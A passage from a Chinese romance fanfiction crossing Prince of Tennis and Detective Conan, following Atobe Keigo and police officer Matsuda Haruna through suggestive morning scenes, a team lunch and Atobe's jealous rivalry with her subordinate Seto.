她看着他仿佛吸了精气一样,容光焕发的脸。再和自己现在力竭狼狈的状态一对比,顿时不平衡起来。 “你之前不是说你工作繁忙,平时都没什么时间健身吗?”她愤愤道。 “我在国外每周锻炼的日子,确实要比在国内的时候少一天。” 松田春奈顿时炸毛:“只少一天而已,这也叫没空健身吗?” 她的脑袋在迹部本就没扣紧的睡衣前来回磨蹭,成功把他的胸肌从衣襟之中暴露出来。 发现他对此没反应之后,坏心眼地用指尖故意地戳着他的胸膛,留下一个个转瞬即逝的小坑,和一连串淡红色的印记。 迹部景吾低头看了眼她仍放在自己身上的手,勾了勾唇角:“可你看起来很喜欢的样子。” “还有,要想留下痕迹的话,这点力气可不够。”他凑过来,眼神故意缠着她,“不过,脖子这里最容易,只要你稍微用点劲——” 松田春奈立刻把手收回来,双手交叠放在小腹,矜持地堪比大和抚子。 拜托,她又不是不知道他是随时随地都能线上会议的人。但凡她在他身上留点痕迹,估计他们公司的内网论坛全是他俩的八卦。 她喜欢吃瓜,可不代表喜欢自己成为别人的瓜。 “走快点,我饿了。”她转移话题道。 他见好就收,抱着她走出卧室,轻松地像是擎着一只幼鸟。 “对了,你的短视频账号怎么不更新了?” 仿佛是闲聊一样,迹部景吾忽然开口问道。 “关注我的人太多了,不想更了。”松田春奈双眉紧蹙,烦躁道。 迹部景吾扫视着她的表情,确认了她私下又创立小号的缘由。 “如果想玩的话,还可以再建一个小号。”他不动声色地说道。 松田春奈咬唇,想起当初自己拿大号刷擦.边男,结果被他发现之后的那些事只是刷视频就已经后果惨重了,更别提自己在小号上那些放飞自我的言论了。 为了未来的平静生活,以及自己的腰,她把自己早就有小号的事又咽回到肚子里。 “小号太麻烦了,还是算了。” 她有些心虚,手不自觉地又放到了迹部的身上,习惯性捏捏,缓解说谎的压力。 其实,迹部景吾大致也能猜出来她隐瞒自己的理由。 哪怕心里在意得要死,也只得劝解自己,不要和她计较。起码她是为了自己着想。 毕竟他已经成熟了,不能再和几年前一样,那么幼稚地去吃飞醋了。 ——才怪! 他坚信,对于老婆来说,退一步才不会海阔天空,只会和老婆越离越远。 迹部平静地回想着她在小号里点赞收藏过的那些内容。打开购物软件,开始默默采购。 这几天正好有空,他可以拉着她,把那些东西全部实验一遍。 希望她能做到言行合一,是真的喜欢那些东西。 * 偌大的餐桌上摆了不少饭菜,看起来就很可口。 松田春奈晃晃小腿,细腻的软肉在迹部的手臂上晃动。 他单手抱住她,拉开椅子,而后顺理成章地把她放到自己腿上,继续抱着。 松田春奈看出他没有撒手的意思:“你这样抱着我,自己怎么吃饭?” “我在你起来之前先垫了点。”迹部景吾掂掂她,“现在还不饿。” 松田春奈毕竟刚说了谎,生怕他察觉出哪里不对,顺从地继续窝在他的怀里。打算给他找点事做,省得待会儿又想起小号这茬。 明明她是怀揣着找茬的心去让他给自己夹菜,没成想这一作,倒是让迹部更爽了。 他像是在玩大型过家家,一点也不嫌麻烦。 剔刺,去骨,切块,甚至还顺便摆了盘。 松田春奈虽然早就知道,他的观察和预判能力在运动员中都算顶级的存在,但还是会对他能在一大堆菜品中,精准夹到自己喜欢的菜色而惊讶。 她放松地贴在他的胸膛,仰头看他,眼里满是好奇:“你怎么知道我喜欢吃那道菜?” “你吃到开心的时候,眉毛会不自觉地上扬,瞳仁也会放大。” 迹部景吾的语气平和,左手轻松把她圈在怀里。 餐桌很大,好在他的手臂够长,菜夹得又稳又轻松。 每当自己刚咽下最后一口,下一秒嘴边肯定会准时出现食物。 估摸着吃得差不多了,他的大手抚上松田春奈的小腹,垂眸问道:“还想吃点别的吗?” 两人由于高度差的原因,松田春奈看不清他的神色,只好注视着自己眼前一上一下,不停滑动的喉结。 她抬手,用食指指尖轻轻触碰。 想到了刚刚他在最后关头,猛然仰头失神时的表情。鼻子翕动,鬓角的汗水顺着下颌流下,控制不住地喘息。 那时他的喉结也是像现在这样,滑动得厉害。 迹部景吾缓缓咽了口水,松田春奈的手指跟着他的动作,来回轻点。 于是,那些将熄未灭的欲.火,便又有了复燃的预兆。 身后的温度越来越高,仿佛被烫到了似的,松田春奈挪了下屁.股。 他低头,吻上她的锁骨。碎发在她的颈边晃荡,像个蠢蠢欲动的捕食者。 “现在,还想吃点别的吗?” 明明是和之前同样的话,现在也好像有了别样的意思。 松田春奈看着他锐利的眉眼,想的却是自己之前听到的那些关于他回国之后,就要联姻的传言。 她在心里默默叹了口气,不知道他这道极品菜,自己还能吃多久。 只能现下多吃几顿,先吃够本再说。 第57章 等到松田春奈再醒来的时候,窗外的天光已然大亮。 阳光透过轻薄的纱帘,柔柔地洒在身上,她身心魇足地吐了口气。 不禁感叹这才是人过的日子。 床上只剩下了她自己,床头柜旁的送餐机器上,整整齐齐地摆放着不少食物。各种菜式一应俱全,甚至有的还冒着热气。 卧房的门半掩着,隐约能听到客厅传来的说话声。 听起来好像是迹部在开会。 她不由得在心里庆幸,还好昨天没听他的坏主意。不然今天就能登上他们公司八卦头条。 终于等来暌违已久的假期,松田春奈打算好好享受一下赖床的美妙滋味。 哪怕早饭就在手边放着,也懒得伸手去拿。 她抬手伸了个懒腰,后背的关节发出“咯吱咯吱”的响声。她觉得自己的身体像是煮久了的面条,透着股软烂的滋味。 松田春奈侧躺着,柔软的脸颊在真丝材质的枕套上蹭了几下,抱着被子,随手刷着社交软件。 一边看,一边随手锤了几下腰和大腿。 有些事,舒服是舒服,但一次性做太多次也会累。 客厅的说话声突然停止,松田春奈心虚地赶紧把浏览历史删除,转头的时候,发现迹部正倚在门框处。 迹部景吾看着松田春奈拉伸的动作,眉毛一挑,径直向她走来。大手毫不见外地按在她的后腰,给她缓慢地转圈按摩。 松田春奈心安理得地指挥着他,不时让他加大手劲,又或是让他换几个部位,继续给自己放松肌肉。 他的手劲本来就大,自身温度也高,简直比市面上所有的按摩仪器都好用。 松田春奈被伺候得舒服极了,粉白的脸上渐渐蒸腾起一片红晕。 “这儿为什么也会难受?”迹部景吾虚心请教道,“我记得昨天明明没有——” 松田春奈抬脚想踢他,却又轻巧地被他攥住脚踝,顺势又让他在腿侧落下了吻。 正落在他昨天留下的红印处。 不过印记稍有些淡了,看不清到底是指印还是吻痕。 迹部景吾居高临下地看着这一幕,让她的脚踩在自己的身上,眼神里仿佛又起了火。 “我想起来了,这应该是宝宝昨天抖得时间太长了。所以这里才会不舒服。” 松田春奈自以为凶狠地横了他一眼。 但在迹部的眼里,却变成了可爱,想亲。 他直勾勾地盯着她的眼睛,手还握着她纤细的脚踝不放,火热的唇舌已经从小腿到了膝盖处。 松田春奈看着他紧绷的裤子,顺着他的力度滑过。再感受到小腿被捏得突然加重力度之后,又猛地收腿下床。 整个动作连贯极了。 “我今天中午要去和同事聚餐。”她笑盈盈地跑进盥洗室,视线落到他的身上,意有所指道,“剩下的你自己解决吧。” 迹部景吾深吸口气,看了眼一动没动的餐车,跟着她走进去,静静地看着她洗漱。 一想到自己刚刚耍了他一把,松田春奈就开心地想哼歌。 他看着面前喜色溢于言表的人,又想到昨日在警视厅外面色不善看着自己的男人,内心暗暗咬牙。 “想到要和同事出去吃饭,就这么开心?” 松田春奈把牙膏沫冲干净,冲着他做了个鬼脸:“只要不上班,做什么都开心。” 迹部景吾:“开心到连早饭都不想吃了?” “我是为了中午多吃点,好吃回本。” 松田春奈觉得他语气有点酸,奇怪地看了他一眼。 “毕竟,今天可是我请那些同事们吃饭。我的大少爷!” “而且那家店巨难预定,好不容易订到位置,不多吃点怎么行。” “你们在哪吃?吃完饭我去接你。”善于捕捉关键信息的迹部景吾一下子就被哄好了。 既然是请同事们吃饭,那看来不是两个人单独去吃。 “米花路上那家新开的中餐厅。据说很贵,但超级好吃。” 松田春奈随便抹了点水乳:“他们毕竟跟着我加班了这么久,作为上司,好歹也得请他们吃点好的。那里可是大家投票选出来的No.1 。” “果然,我已经是个合格的大人了。” 说完,她满意地对着镜子里的自己点点头。 迹部景吾迅速给自己搭配好一套衣服,想了想,又进来对着镜子抓了抓头发。 “那我送你过去吃饭,你散场之后告诉我,我再过去接你回家。” 松田春奈看着他这一身低调又不失矜贵的打扮,失笑出声:“你这是……” 她后知后觉地明白了他的意思,踮起脚尖,双手捧住他的脸,拉到自己脸前,认真地看着他说道。 “从我入职,不对,准确地说,从我进入警校的时候,大家就知道我有男朋友了。”她的目光像是包容的大海,默默地接受河流的汇聚。 迹部景吾只觉得自己思绪繁杂的内心,正被她轻柔抚平:“可是,你的下属应该还没见过我。” 松田春奈晃晃他的脑袋,甜甜地反驳:“见过的。” 迹部景吾以为自己傲人的记忆力出现了漏洞:“什么时候的事?我怎么一点印象也没有。” “那是因为,他们是单方面见得你。”松田春奈凑过去,两人的睫毛碰到了一起,痒痒的。 “我把我们的合照贴在了我的办公桌上。只要有人经过,就会看见你、知道你的。” 迹部景吾感觉自己身上正在燃烧。 他的血管里流淌的不是血液,仿佛是爱欲的熔浆。下一秒就要被这热度灼伤。 而可以平息他、宽恕他的神女正宽容地望着他。 他迫不及待地将自己献上去,紧紧地抱住了她,就像抱住了自己的解药。 第58章 “都怪你,非要开这么显眼的车!”松田春奈一边解安全带,一边压低声音抱怨道,“幸亏我今天没穿警服,不然一定会被路人拍照,然后检举到特别搜查部的。” “到时候你就等着替我写三千字的检讨报告吧。” 迹部景吾没应声,目光落在她一张一合的淡粉色嘴唇上,没忍住往中控台的方向挪了挪位置。 他当然知道这辆车高调。 不然他也不会没回国的时候,就让助理提前把这辆车开到车库,就为了自己能在宣誓主权的时候用上。 没办法,现在的男人,想一步登天的太多了。他不盯紧点,万一有人挖墙脚怎么办。 尤其是春奈当了警察之后,接触的人越来越杂。 那些心怀不轨,暗戳戳当第三者的男人,他见得多了。 她心思单纯,看不出来别人的那点弯弯绕绕。但他可不一样。 那些骚.男人的小心思,他一看就透。 “我就是知道你今天穿便装,才特意开这辆的。”迹部景吾安抚她,“昨天去警视厅接你的时候,我不就开了辆低调点的?” 松田春奈:“?” 松田春奈:“昨天那辆低调在哪?” 迹部景吾斩钉截铁:“颜色。黑色还不够低调?” 松田春奈:“” 迹部景吾看着她无语的表情,失笑出声。 他们异地的时间实在是太久了,久到他仍觉得现在有种不真实感。生怕这是自己做得一场梦。 读书的时候还好,每周起码能保证见一次。自他毕业接手海外业务开始,两人的见面时间就开始不固定起来。 有次他忙昏了头,收购案连开了很久。晚上回家之后才发现,她的上一条消息还是十几个小时之前发来的——只有简单的两个字“哈哈”。 而他最新的那条汇报自己要开会的消息,她一直也没有回复。 十几个小时没动静,两人的聊天记录里,最后一条消息居然还是自己给她发的。 那一刻,他的心像被什么猛地攥紧了。 不能再这样下去了。 他清晰地意识到这点。 虽然他没有什么恋爱经验,但也知道,冷淡往往是分手的前兆。 他别无他法,只能硬着头皮,若无其事地继续给她发着消息,汇报自己的行程。 直到她回复说在跟案子,他这才狠狠地松了一口气。 即使这件事过去了,可他脑子里的某个部位却像被按下循环键,反复重温那种恐慌。 他从来都是个不信邪的人,却是第一次把那种情绪当作警报。 光是假设两人要分手,他都承受不住,几乎崩溃。 之后他拼命压缩睡觉时间,每天给她发消息。他知道她上进,总奔波在查案路上。他不求别的,只要能得到她偶尔的回复就好。 有时他会从两人的聊天信息里,推算出她没有大案的日子,然后给她拨个视讯。 好几次,那个叫濑户的家伙总是阴魂不散地出现在她镜头的一角。用那种恶心人的视线和表情看着她。 迹部当然知道这是在挑衅。 但没关系,一个爱而不得的可怜虫而已。 他确信对方绝不敢表白。因为只要他一旦说出口,春奈一定会和他划分界限。到时候,这个人连和她同组工作的机会都将不复存在。 松田春奈伸手捏了捏他的脸,威胁道:“以后你开车接我之前,必须先给我报备车子型号。听见没有!” 迹部景吾连连点头答应。 不仅如此,他回过神来后,还积极给自己揽活:“反正我回国了,以后你的书面报告也不用扔给你哥他们,通通都交给我写。就让你哥他们歇着就行。” “那你的工作怎么办?报表和计划书不看了?” “就当换换脑子,放松休息了。你之前读警校的时候,我不也每周给你写这方面的作业。” “你那是单纯帮我写作业吗?你那分明是预谋不轨” “其实不光那时候是,我现在也是。” 松田春奈对此表示不理解,但尊重。 “我哥如果知道你愿意主动接这这活,一定会感谢你的。”松田春奈拉下车上的遮光板,照着镜子说道,“入职以来,我哥给我写的材料,比我自己写得都多。” 迹部景吾明智地保持了沉默。 他十分肯定,自己那位深度妹控大舅哥,是绝不会因为这件事而高兴的。那人巴不得能给妹妹多干点事,最好是替她包揽所有事情。 因为,他自己也是这么想的。 不过没关系,既然总有人要不高兴。那为什么不能是大舅哥呢? 迹部期望春奈还可以多依赖自己一些。 最好是和他成为条件反射那样的联结。 一想到写报告就只想到他。 警察要写的材料那么多,他一定会写得又快又好,让她永远也不想离开自己。 等她当上警视厅总监,发表就职演说的时候,说不定还会提到自己。 到那时候,就会有更多的人知道自己和她的关系。 光是想一想,就会让他激动到发抖。 “赶紧把车门解锁,我们组的实习生都快到了。”松田春奈催促道,“我可不能迟到。” 迹部景吾看着那辆几分钟之前特意停在自己斜对面的黑车,驾驶座上的高大人影丝毫没有下车的意思。整个人仿佛融进了黑暗之中。 他目光沉了沉,凑过去用俊脸迷惑她,低声说道:“你是不是落下了什么步骤。” 松田春奈无奈道:“你回来的这段时间,还没亲够吗?” 够? 怎么会够? 他注视着她的睫毛,有些话到底没敢说出口,怕把她吓跑。 在国外的时候,他可以说是无时无刻都在想她。 闲下来的时候,会想她笑起来的样子;压力大忙起来的时候,会更想她哭起来颤抖的样子。 天知道,他想过这种日子盼了有多久。 可以天天抱着老婆睡觉。一觉醒来就能在自己的怀里看见她。偶尔还能在老婆同僚面前宣示主权的日子。 比如现在。 正好能让某人看见。 敢这么笃定地把车停在那个位置。代表他私底下也没少查自己。 表面上一副冷淡做派,不过是装模做样。 松田春奈恶狠狠地抱着他,像亲小鸡仔一样把他“啾啾啾”亲了满脸。 她打开驾驶座上的镜子,让他看自己留下的亮闪闪的唇印:“你不是要去公司开会吗?看你怎么见人!” 迹部景吾被亲爽了,认真提建议道:“这次的唇蜜颜色不够显眼,那些人老眼昏花的,可能看得不够清楚。” “下次换支红一点的,再这么亲一遍好不好?” 松田春奈伸手摸他的额头:“没发烧啊,怎么就开始说胡话了。” “是最近太累了吗?”她已经开始担心起他的精神状态,“要不要让忍足去帮你挂个精神科的号?” “笃笃笃——” 车窗外传来敲门声。 松田阵平磨着牙的声音传来:“大家都快到齐了,你们俩差不多得了,赶紧给我出来。” 迹部景吾完全不顾松田春奈的阻拦,顶着一脸亮晶晶的吻痕就下了车。特意绕到副驾那边,给她开车门。 “你疯啦!”松田春奈急得直跺脚,手忙脚乱地从包里找纸巾,“快擦擦!你这像什么样子!” 站在一旁的松田阵平目瞪口呆。 饶是他见多识广,也被迹部的自信一击给整傻眼了。 他环顾四周,确认没有误入拍摄现场后,忍不住吐槽道:“喂喂。你们这是在演偶像剧呢?” 迹部景吾一脸得意,昂着头,仿佛在展示着荣誉勋章。 松田阵平看得眼疼,索性转过身,拼命戳手机,在五人群组里第八百次数落此人的缺点。 松田春奈拿着纸巾在他脸上胡乱擦着,却越擦越乱。整张脸上都像涂了高光,看上去能克死几百个没用的男人。 她把他往车里推:“赶紧回车里,把脸擦干净。算我求你了行不行!” “开会的时候,脸上绝不能出现一点亮片!”松田春奈举着手机冲他说道,“我会让你助理帮忙拍照检查的。” 迹部景吾这才消停,老老实实地翻出来她之前留在车里的卸妆棉,开始擦拭。 趁着松田阵平察觉出什么之前,松田春奈直接拽着他的手臂进了电梯。 等到兄妹两人离开之后,斜对面那辆黑色轿车的车门才终于打开。 濑户凉太迈着军人特有的稳健步伐走了过来。身姿笔挺,眼神冷峻。 迹部景吾仿佛没看见他似的,慢条斯理地拿着湿巾,镇定自若地擦着脸上糊作一团的唇蜜。 濑户站着车窗外,声音平静中却带着刺:“迹部君,奉劝你一句。不合适的人,早晚都会分开。” 迹部向后一倚,这才掀开眼皮,看了他一眼。 “濑户君说得没错。所以”他顿了顿,将用过的湿巾折好,“我建议你早点死心。不该动的心思,一点也不要动。” “要是迹部君真这么自信的话,也不会认出我的车了。不是吗?” “我以为濑户君特意停在那个位置,就是为了偷看别人谈恋爱。” 迹部景吾把车窗升上去,透过渐渐变窄的缝隙,他的声音依旧清晰。 “等你能光明正大站在春奈面前的时候,再来和我说这些话吧。” 第59章 电梯狭小的空间里,松田阵平抱臂靠在镜面上,斜睨着刚走进来的松田春奈。 “瞧瞧你男朋友的那副做派。”他忍了又忍,最终还是决定无视五人群组里其他人的劝告,尽情吐槽,“跟小狗撒尿圈地盘一个德行。” 松田春奈毫不客气地给他一肘:“你这是骂谁呢?” “哦,忘了你。” 他压低眉眼,眼下的青黑很明显,像是没睡好。 那双总是锐利的眼睛此刻蒙着一层疲惫,连带着声音都低沉了几分。 松田春奈心里蓦地一软。她知道自己那些堆成山的报告写起来到底有多麻烦。 现场记录要逐字核对,结论分析要逻辑严密,还得用敬语写得恭恭敬敬。光是想想就头皮发麻。 “哥,告诉你个好消息。”她凑近半步,伸手把他掖在裤腰里,打理得一丝不苟的衬衣拽了半截出来。 “嗯。”他从鼻腔里哼出一声。 松田阵平特意不看她,目光只盯着电梯不断跳动的数字,生怕自己半路破功。 松田春奈用额头顶他,像头精力过剩的小牛犊。 他把这句腹诽压下来,刚刚已经得罪过她一次了。这个比喻还是留着下次再说。 “有话好好说,别动手动脚的。我又不是你那个男朋友,不吃你这套。” 松田春奈恶从胆边生,干脆把他整件衬衣都扯得皱巴巴的。 “你怎么还和小时候一样,一不高兴就拽人衣服。”松田阵平没招了,“说吧,好消息是什么。” “景吾说,以后我的报告他包圆了。”她故意把尾音扬起来,“到时候你就不用再苦哈哈地帮我赶工了。都一把年纪了,再帅的脸也经不起你用得这么糙。” 空气突然安静得像是能听见电梯运行的嗡鸣声。 松田阵平看了她一眼,绷紧嘴角:“继续说啊。” 松田春奈:“说什么?” “不是要跟我说好消息。”松田阵平似笑非笑,“在哪呢?” 松田春奈不解。 写报告明明是件苦差事,怎么还一个两个上赶着给她做。 “这是你自己想的,还是他给你出的主意?” 他转过头看她,眼睛眯起来,如同在审讯犯人。 他语速快极了:“他知道警视厅的报告格式第十七条修订案要求吗?知道现场勘验图的标注规范吗?能模仿你的字迹吗?知道你习惯签名的时候最后一笔会向下撇吗?” 松田春奈被他这一长串地质问砸得有点发懵:“哈?” 她第一次发现,原来自己一点也不了解自己。 他看着她迷茫的样子,冷哼一声。 “那家伙写得报告质量,有我的十分之一吗?万一你俩以后分了,他反手举报你代写报告怎么办?你还想不想当最年轻的警视厅总监了?” “其实我读警校的时候,他就帮我写过的”松田春奈连忙摆手喊停,小声辩解道,“景吾他不是那种人。” 电梯“叮”地到达楼层,松田阵平直勾勾地看着她,眼神亮得像装了俩LED似的,照得人心里发毛。松田春奈被他盯得下意识往后退了半步。 他后脑勺仿佛也安了眼睛,往后随便一点,正好按在开门键上。 “都当多少年警察了,怎么还这么天真?”他拉着她的手腕,大步流星地往外走,眉头拧得能把工卡刷进去。 “你经手的杀妻案还不够多吗?远的不说,就上周那个把妻子推下月台的丈夫,案发前一天还在给她买生日蛋糕。” 松田春奈弱弱地反驳:“可是我和景吾的关系,还没到那个份上吧” 这话一出,松田阵平一下子气顺了。 他点头应和,语气缓和不少:“那倒也是,你们俩还早着呢。” “提问!”他突然停下脚步,把她堵在包厢门口,“世界上永远不会背叛你的只有——” 阴影笼罩下来的瞬间,两人异口同声: “家人。” 看着松田春奈条件反射般得接出下半句的模样,松田阵平终于露出今天第一个发自真心的笑。 他伸手玩着她的发尾,像小时候每次洗脑成功时那样。 “听话。”他推开包厢的门,“以后你的报告还是归我写。要是有人有意见的话,让他亲自和我说。” * 聘珍楼的包厢里,实习生小林幸子正独自趴在桌子上,盯着眼前的玻璃茶壶发呆。茶叶在滚烫的水里上下翻滚,叶面慢慢舒展开来,煞是好看。 门被推开的刹那,松田春奈一眼就看见了她。小林瞬间抬起头,眼睛一下子亮起来,几乎是蹦跳着小跑过来。 “春奈前辈!午安!”她清脆地唤道,随即又礼貌地补充,“啊,松田前辈也是。” 松田春奈看了眼时间,震惊道:“你这也到得太早了,我们约得不是一点吗?” “反正今天也闲着没事,就提前出来逛逛。”小林不好意思地笑笑。 松田阵平默不作声地给她们拉开座椅,然后就坐到一边当沉默的雕塑。 松田春奈拿过点菜平板,朝她招手:“来来来,你先点。我记得你喜欢酸甜口的。糖醋小排和菠萝咕咾肉都得点上。” 两人凑在一起研究菜色,图片琳琅满目。 从冷盘到热炒,从点心到汤羹,看得人眼花缭乱。翻了好久还没看完一半。 “怎么办,每个看起来都很想吃。”松田春奈苦恼地揉着太阳xue ,小声嘀咕,“我有选择困难症啊。” 小林点着屏幕:“这个酥皮鸭超赞的,上次我妈吃完当场打包了两份,拿回家当下酒菜。” 正说着,包厢门又开了,同事们嘻嘻哈哈地涌进来。 松田春如释重负,赶紧把平板推过去,让他们负责点菜的重任。 石田百合一看见松田阵平,立刻朝旁边人伸手:“输了吧,我就说这家伙会来。愿赌服输,赶紧给钱!” 寸头同事哀嚎一声:“松田!你昨天不是通宵了吗?怎么还有力气跑来吃饭?” “又拿我打赌是吧?老规矩,见面分一半。”松田阵平懒洋洋地说道。 石田百合抽了张钞票分他。 他顺手揣进兜里:“就是通宵才得吃点好的补补,不然亏大了。” “看来你是还不够了解这位妹控。”石田坐下抿了口茶,“自从春奈上班之后,她每一次的聚餐,此人都会到场。不管别人叫没叫他。” “更别提——” 松田阵平把钞票还给她,示意她闭麦:“封口费还你,适可而止啊。” 石田百合满意极了。果然,他们这行,同事之间的“黑历史”才是最快的合法发财之道。 “什么封口费?”松田春奈刚结束和同事的寒暄,转过头好奇地问道。 濑户凉太自然地在她旁边落座,用热水烫着餐具:“春奈,我前阵子在论坛上看到一个新型炸弹的结构设计,思路很特别,想了很久都没完全破解。你有兴趣看看吗?” “好啊。”她一听就来了兴致,身体顺势朝他那边倾斜,“你发我邮箱,我现在就看。” “直接在我手机上看吧,我的邮箱最近登录有点问题。”濑户凉太把手机递过去。 “这么放心我?”松田春奈开玩笑道。 “随时接受长官检阅。”他抬头,语气平静,甚至还带着点纵容,“密码是1234 。” 看他这么坦然,春奈也不扭捏,接过手机就低头研究起来。 她看得专注,没留意自己的一缕头发悄悄滑下来,轻轻落在他手背上。 濑户凉太呼吸微微一滞。而后,才缓缓地把气吐出去。 他这才知道,原来发丝触碰皮肤的感觉,竟是微凉的。 这冰凉而柔滑的触感,正和他梦中无数次想象的画面重合。 他喉咙微动,却依旧坐得笔直。 职业习惯和家世素养让他习惯性保持挺拔的姿态,后背紧绷得像颗松树。手的位置纹丝不动,只有微微泛红的耳根泄露了情绪。 “咱妹妹还是这么受欢迎。”石田百合小声和松田阵平八卦,“这家伙从大学认识咱妹的时候就单身,到现在还是孤身一人。” 松田阵平瞥了她一眼:“咱们不也一样?” 石田顿时被噎得说不出话来。 眼看着濑户凉太拎起茶壶,想要给春奈烫餐具,松田阵平坐不住了,起身就要过去。 “你去捣什么乱?”石田百合一把拉住他,“春奈又没结婚,她又这么优秀,有人献殷勤很正常。你别管得太宽。” “我从来没阻止过他追春奈。”松田阵平快速说道,“但伺候我妹这个活,他干得肯定不如我。再说,春奈到现在估计都不知道他喜欢她,他这么贸然行动,万一吓到她,再把我妹烫到怎么办?。” 石田百合:“” 看终极妹控表演嘴硬,也是一种乐趣。 石田百合:“濑户的手要是都不稳的话,咱们支队就没几个稳的人了。人家从小练的就是端枪。再说了,他这条件放在小说里,就是妥妥的痴情男二配置。” “你整天看的都是些什么小说?怎么男二都是些连挖墙脚都不会的废物。” “男二会挖墙脚的那是上位文学,你懂个毛线!” 此时的松田春奈已经沉浸在解谜的世界里,完全忽略了外界的声响。就连哥哥过来帮她清洗茶具都没抬头。 面前的手机陷入自动黑屏,她下意识输入“1234”解锁。 屏幕亮起的瞬间,她微微一怔。 濑户的壁纸竟是去年部门团建时的照片——照片上的她正站在C位,手里端着蛋糕开怀大笑。其他同事或蹲或站地把她包围起来。 松田春奈下意识地看了他一眼,只见濑户凉太正襟危坐,仍是一副高冷模样。她心里掠过一丝疑惑,但很快又被屏幕上的结构图吸引了注意力。 直到服务员开始上菜,她才终于找到思路。也顾不上夹菜,她直接从包里拿出纸笔,在餐桌一角开始画图推导。 聚餐氛围越来越浓烈,同事们争相抢着转盘上的美食,说笑声不断。而她却浑然不觉,只一味地奋笔疾书,勾画着复杂的草图。 “搞定!” 松田春奈落下最后一笔,将写得满满当当的演算图纸往旁边一推。 “这个炸弹的引信结构是反常规的逆向安装。”她拿起盘子里的烤鸭卷饼,大大咬了一口,“设计者还挺有巧思的。” “我会带回去好好研究的。”濑户凉太说道,同时将自己面前那杯不时添兑、温度恰到好处的茶水推到她手边。 他收起图纸,妥帖地放进包里的夹层,然后抬眼看她:“以后如果再遇到这样的棘手难题——” “欢迎随时来问。”她语气爽快,带着点上司的可靠感。 松田春奈自觉完成了安抚下属的责任后,便立刻欢快地投入到美食大战中。 她一手抓着卷饼,另一只手还不忘去夹远处的蟹粉豆腐,吃得两颊鼓鼓,不亦乐乎。 直到桌面的手机屏幕突然亮了起来,连续震动了两下。 她这才叼着卷饼,扯了张纸巾擦擦手指,划开屏幕。 是迹部景吾发来的消息。 内容是一张堪比时尚大片的自拍。 大少爷悠闲地靠在他那把价值不菲的人体工学椅上,背后是巨大的落地窗和繁华城景。面前超大的办公桌上,摆满了精致如艺术品的法式料理。 配文是:【例行报备。 】 松田春奈忍不住弯起嘴角,趁着大家酒酣耳热没人注意自己,低头对准自己的餐盘拍了一张发过去。 迹部没想到她能回复得这么快。 他点开图片,嘴角刚扬起一抹笑意,目光却骤然定格在照片的左下角。 一只明显属于男性的手无意入境,手腕上戴着一只他今天才见过的、设计低调却难掩闷骚的腕表。 正是濑户凉太今天戴得那只。 第60章 迹部景吾的指尖在手机屏幕上顿住了。 刚才那点轻松愉悦的心情瞬间蒸发。 有些人真是够不要脸的。明面上是所谓军人世家出身,自诩有风骨,不会破坏别人感情。实际上那点撬墙角的心思都要溢出来了。 私底下在停车场堵人放话也就算了,公共场合还这么不收敛。包厢里那么多空座位不坐,非得挨着已经有男朋友的同事坐。 这么喜欢凑热闹,等春奈和他结婚的时候,一定让他做主桌。 “真是下贱。” 迹部越想越气,低声骂了一句。 就是因为这种自甘堕落的小三太多,他才不得不总是向外宣誓主权。好让那些不自量力的人看清楚,他们到底是些什么货色。 也配和他比。 他抿着唇,将照片放大再放大,仔细审视每一个细节。虽然画面有些模糊,但濑户凉太正在剥虾的动作却清晰得刺眼。拇指和食指捏着虾头,中指负责剥壳,一看就是个老手。 贱人。 他在心里冷笑。 他太清楚这种暗戳戳的小心思了。 以朋友之名,行献殷勤之实。 都是他当年玩烂的招数。 他直接拨通了松田春奈的视频电话。同时给助理发消息:“聘珍楼608,所有带壳的菜立刻换掉,包括已经上桌的也撤。” 他倒要看看,没了菜做辅助,这人还能耍什么花招。 电话响了半天,始终没人接听。嘟嘟声在空旷的办公室里回荡,每一声都像是敲在他的神经上。 他脑子里不受控制地开始七想八想,春奈会不会正低头吃着别人剥得虾,还对那家伙笑得毫无防备。 他知道春奈的个性招人喜欢,对熟悉的人没什么戒心。可偏偏有些人会仗着她这份亲和,黏在她身边像个苍蝇一样,怎么也赶不走。 这不怪她,只怪那些人心思不纯。 就在他几乎要挂断重拨时,视频终于接通了。屏幕亮起的刹那,迹部景吾第一时间就看向她的嘴角。 那是一片很明显的橙红色,绝不是她今天出门涂得那支口红色号。 分明是虾油。 屏幕里,松田春奈手里捏着没吃完的半截虾尾,笑着和他打招呼。 他的目光锐利地越过她,死死地盯住屏幕左侧。明明画面里只有她一个人,但他却仿佛能透过屏幕,用视线警告那个不知好歹的人。 松田春奈循着他的目光,看向自己手中的虾肉,忽然福至心灵。 “你是不是也想吃中餐了?等我回去的时候给你打包带点。” 迹部景吾看着她一脸“我懂了”的表情,忽然觉得好气又好笑,心头那股无名火被冲散了些许。 “好。”迹部景吾压下火气,声音尽量平稳道,“那就这盘虾吧。等你回来,我给你剥。” 手机那头顿时传来一阵起哄声。 “不愧是春奈,调教有方啊。” “还是迹部少爷大气。” “哎呦喂,小情侣杀狗啦!” 就在这时,屏幕边缘恰好入镜一只剥好的虾。虾肉饱满晶莹,捏着虾尾的手指修长。男人卷起的衬衫下,腕骨线条清晰。 迹部景吾气上心头,感觉自己被小三挑衅了。 “春奈,我记得你吃饭的时候不喜欢沾手的。就算拿着虾尾,吃起来也很麻烦吧。” 他语气淡淡的,却带着刺。 连伺候人都不会的贱人,有什么资格往前凑。 松田春奈赶紧朝他使眼色:“不麻烦不麻烦” “我说迹部,你管得是不是有点太宽了?” 松田阵平不耐烦的声音插了进来,却还是顺手把手中虾尾的壳也剃掉,然后才把完整的虾肉放她盘子里。 “这样总行了吧,大小姐。” 迹部一愣,这才反应过来自己醋意上头,竟把这个妹控忘了。 有他在场,哪儿还轮得到别人给松田春奈剥虾。他的那点不快瞬间消散。 秘书适时出现在门口提醒他开会,他匆匆嘱咐几句,就挂断了电话 包厢里的打趣声像是沸腾的水,咕嘟咕嘟地冒了泡。 “春奈,你和迹部君恋爱长跑这么多年,竟然还这么甜。” “咱警视厅里迹部家赞助的东西可是越来越多了,从自动贩卖机到训练器材,他是恨不得把拿着喇叭告诉全天下,松田春奈名花有主。” 实习生笑着接话:“我来上班的第一天,比警员守则还先知道的,就是松田警官已有男友这件事。” “不过这也正常,要是春奈是我女朋友,我肯定比迹部君还夸张,连路边的狗都得知道咱俩是一对。” 此话一出,嘘声一片。 大家说笑间,聘珍楼的经理带着服务员敲门而入。 “不要意思各位,这几道菜需要撤换一下。” 服务员动作麻利地把桌上带壳的菜都收走了。 有人好奇道:“为什么?我们都吃一半了。” “这个厨师反馈这几道菜还在调试阶段,口味需要再精进。” “可是我上次来你家就点的这道菜” 